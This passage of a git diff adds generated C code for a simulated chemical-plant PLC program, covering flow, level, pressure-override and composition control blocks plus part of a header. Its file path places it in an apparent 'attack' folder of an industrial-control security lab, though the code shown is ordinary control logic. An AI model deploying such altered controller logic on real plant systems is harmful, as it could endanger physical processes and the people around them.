__SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef 